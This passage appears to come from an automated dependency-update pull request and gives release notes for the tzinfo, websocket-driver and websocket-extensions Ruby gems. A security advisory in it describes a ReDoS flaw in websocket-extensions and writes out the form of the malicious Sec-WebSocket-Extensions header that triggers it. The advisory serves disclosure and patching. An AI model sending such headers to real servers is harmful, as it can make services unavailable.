The us_zones and us_zone_identifiers class methods of TZInfo::Timezone have been removed. TZInfo::Country.get('US').zones and TZInfo::Country.get('US').zone_identifiers should be used instead.

TZInfo v2.0.0 on RubyGems.org

1.2.11

Eliminate Object#untaint deprecation warnings on JRuby 9.4.0.0. #145.

TZInfo v1.2.11 on RubyGems.org

1.2.10

Fixed a relative path traversal bug that could cause arbitrary files to be loaded with require when used with RubyDataSource. Please refer to
GHSA-5cm2-9h8c-rvfx for details. CVE-2022-31163.

Ignore the SECURITY file from Arch Linux's tzdata package. #134.

TZInfo v1.2.10 on RubyGems.org

1.2.9

Fixed an incorrect InvalidTimezoneIdentifier exception raised when loading a zoneinfo file that includes rules specifying an additional transition to the final defined offset (for example, Africa/Casablanca in version 2018e of the Time Zone Database). #123.

TZInfo v1.2.9 on RubyGems.org

1.2.8

Added support for handling "slim" format zoneinfo files that are produced by default by zic version 2020b and later. The POSIX-style TZ string is now used calculate DST transition times after the final defined transition in the file. The 64-bit section is now always used regardless of whether Time has support for 64-bit times. #120.

Rubinius is no longer supported.

TZInfo v1.2.8 on RubyGems.org

1.2.7

Fixed 'wrong number of arguments' errors when running on JRuby 9.0. #114.

Fixed warnings when running on Ruby 2.8. #112.

TZInfo v1.2.7 on RubyGems.org

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ websocket-driver (indirect, 0.7.1 → 0.8.0) · Repo · Changelog

Release Notes

0.8.0 (from changelog)

Emit binary message as a string with Encoding::BINARY instead of an array

Add the option :binary_data_format to force the previous behaviour

0.7.7 (from changelog)

Add base64 gem to the dependencies to support Ruby 3.4

0.7.6 (from changelog)

Fix handling of default ports in Host headers on Ruby 3.1+

0.7.5 (from changelog)

Do not change the encoding of strings passed to Driver#text

0.7.4 (from changelog)

Optimise conversions between strings and byte arrays and related encoding operations, to reduce amount of allocation and copying

0.7.3 (from changelog)

Let the client accept HTTP responses that have an empty reason phrase following the 101 status code

0.7.2 (from changelog)

Emit ping and pong events from the Server driver

Handle draft-76 handshakes correctly if the request's body is a frozen string

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 48 commits:

↗️ websocket-extensions (indirect, 0.1.4 → 0.1.5) · Repo · Changelog

Security Advisories 🚨

🚨 Regular Expression Denial of Service in websocket-extensions (RubyGem)

Impact

The ReDoS flaw allows an attacker to exhaust the server's capacity to process incoming requests by sending a WebSocket handshake request containing a header of the following form:
Sec-WebSocket-Extensions: a; b="\c\c\c\c\c\c\c\c\c\c ...
That is, a header containing an unclosed string parameter value whose content is a repeating two-byte sequence of a backslash and some other character. The parser takes exponential time to reject this header as invalid, and this will block the processing of any other work on the same thread. Thus if you are running a single-threaded server, such a request can render your service completely unavailable.

Patches

Users should upgrade to version 0.1.5.

Workarounds

There are no known work-arounds other than disabling any public-facing WebSocket functionality you are operating.

References

https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/

Release Notes

0.1.5 (from changelog)

Remove a ReDoS vulnerability in the header parser (CVE-2020-7663)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits: